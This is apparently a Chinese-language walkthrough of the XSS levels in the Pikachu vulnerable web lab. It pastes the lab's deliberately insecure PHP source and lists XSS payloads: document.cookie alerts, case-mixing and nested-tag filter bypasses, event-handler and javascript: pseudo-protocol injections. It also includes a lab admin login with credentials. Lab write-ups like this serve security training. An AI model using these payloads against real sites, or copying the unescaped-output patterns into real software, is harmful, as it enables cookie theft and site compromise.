pikachu-xss通关教程

反射型xss(get):

<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "xss_reflected_get.php"){ $ACTIVE = array('','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; $html=''; if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>输入'kobe'试试-_-</p>"; }else{ if($_GET['message']=='kobe'){ $html.="<p class='notice'>愿你和{$_GET['message']}一样，永远年轻，永远热血沸腾！</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />"; }else{ $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>"; } } } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="xss.php">xss</a> </li> <li class="active">反射型xss(get)</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right">
反射型xss(post):
<script>alert(document.cookie)</script>
存储型xss：
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "xss_stored.php"){ $ACTIVE = array('','','','','','','','active open','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; include_once $PIKA_ROOT_DIR."inc/config.inc.php"; include_once $PIKA_ROOT_DIR."inc/mysql.inc.php"; $link=connect(); $html=''; if(array_key_exists("message",$_POST) && $_POST['message']!=null){ $message=escape($link, $_POST['message']); $query="insert into message(content,time) values('$message',now())"; $result=execute($link, $query); if(mysqli_affected_rows($link)!=1){ $html.="<p>数据库出现异常，提交失败！</p>"; } } if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){ //彩蛋:虽然这是个存储型xss的页面,但这里有个delete的sql注入 $query="delete from message where id={$_GET['id']}"; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){ echo "<script type='text/javascript'>document.location.href='xss_stored.php'</script>"; }else{ $html.="<p id='op_notice'>删除失败,请重试并检查数据库是否还好!</p>"; } } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="xss.php">xss</a> </li> <li class="active">存储型xss</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right">
DOM型xss：
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "xss_dom.php"){ $ACTIVE = array('','','','','','','','active open','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; include_once $PIKA_ROOT_DIR."inc/config.inc.php"; include_once $PIKA_ROOT_DIR."inc/mysql.inc.php"; if(isset($_GET['text'])){ $haha = "这里是后台的处理逻辑"; } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="xss.php">xss</a> </li> <li class="active">DOM型xss</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right">
javascript:alert(22); //里边用数字， javascript:alert('XSS'); //不行 javascript:alert(XSS);
方法二：'οnclick="alert(1)"
'onclick="alert(333)" 'onclick="alert(333)" #' onclick="alert(111)">
DOM-XSS-x:
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "xss_dom.php"){ $ACTIVE = array('','','','','','','','active open','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; include_once $PIKA_ROOT_DIR."inc/config.inc.php"; include_once $PIKA_ROOT_DIR."inc/mysql.inc.php"; $html=''; if(isset($_GET['text'])){ $html.= "<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>"; } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="xss.php">xss</a> </li> <li class="active">DOM型xss</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right">
#' onclick="alert(111)">
XSS-盲打：
提交留言，然后登录http://192.168.40.133:83/vul/xss/xssblind/admin_login.php
<script>alert(1)</script> <script>alert(document.cookie)</script> <script>alert("xss");</script> <script>alert(xss)</script> <script>alert(1)</script> 大小写（不需要） <sCrIPt>alert("XSS-Reflect01");</sCrIpT> <sCRipt>alert("XSS-Reflect01");</sCRipt> <ScriPT>alert("XSS-Reflect01");</sCrIpT> <sc<script>ript>alert("xss-reflect002");</script> <img src=0 onerror=alert("XSS-img")>
http://192.168.40.133:83/vul/xss/xssblind/admin_login.php ;admin/123456;
xss之过滤:
根据提示，考虑绕过：
参考：
<script>alert(1)</script> <script>alert(document.cookie)</script> <script>alert("xss");</script> <script>alert(xss)</script> <script>alert(1)</script> 大小写（不需要） <sCrIPt>alert("XSS-Reflect01");</sCrIpT> <sCRipt>alert("XSS-Reflect01");</sCRipt> <ScriPT>alert("XSS-Reflect01");</sCrIpT> <sc<script>ript>alert("xss-reflect002");</script> <img src=0 onerror=alert("XSS-img")>
先测试一下：
payload:
<sCrIPt>alert(122)</sCrIpT> //大小写绕过； <a herf="#" onclick="alert(document.cookie)"> <img src=1 onerror=alert(1)>
xss之htmlspecialchars：
先测试如下：
发现代码被原样输出；
htmlspecialchars()函数把预定义的字符转换为HTML实体。 预定义的字符是： • &（和号） = &amp • "（双引号） = &quot • '（单引号） = ' • <（小于） = &lt • >（大于） = &gt 我们也可以通过输入'&<>"，来排查什么字符被转义了 & 成为 &amp " 成为 &quot ' 成为 &#039 < 成为 &lt > 成为 &gt 可用引号类型 ENT_COMPAT：默认，仅编码双引号 ENT_QUOTES：编码双引号和单引号 ENT_NOQUOTES：不编码任何引号
我们可以发现&（和号）、"（双引号）和<>（小于号、大于号）被转义了，而'（单引号）可以正常使用；
'οnclick='alert(1)'
#'οnmοuseοver='alert(1)'>
#' οnclick='alert(/xss/)
avascript:alert(3333) // JavaScript伪协议 hack' οnfοcus='alert(5555) // 单引号闭合+事件标签
xss之href输出：
javascript:alert(111) // JavaScript伪协议
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "xss_03.php"){ $ACTIVE = array('','','','','','','','active open','','','','','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; $html=''; if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>叫你输入个url,你咋不听?</p>"; } if($_GET['message'] == 'www.baidu.com'){ $html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>"; }else { //输出在a标签的href属性里面,可以使用javascript协议来执行js //防御:只允许http,https,其次在进行htmlspecialchars处理 $message=htmlspecialchars($_GET['message'],ENT_QUOTES); $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>"; } } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="xss.php">xss</a> </li> <li class="active">xss之href输出</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right">
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "xss_04.php"){ $ACTIVE = array('','','','','','','','active open','','','','','','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; $jsvar=''; $html=''; //这里讲输入动态的生成到了js中,形成xss //javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义 //讲这个例子主要是为了让你明白,输出点在js中的xss问题,应该怎么修? //这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。 //所以在JS的输出点应该使用\对特殊字符进行转义 if(isset($_GET['submit']) && $_GET['message'] !=null){ $jsvar=$_GET['message']; // $jsvar=htmlspecialchars($_GET['message'],ENT_QUOTES); if($jsvar == 'tmac'){ $html.="<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />"; } } ?> <div class="main-content" xmlns="http://www.w3.org/1999/html"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="xss.php">xss</a> </li> <li class="active">xss之js输出</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right">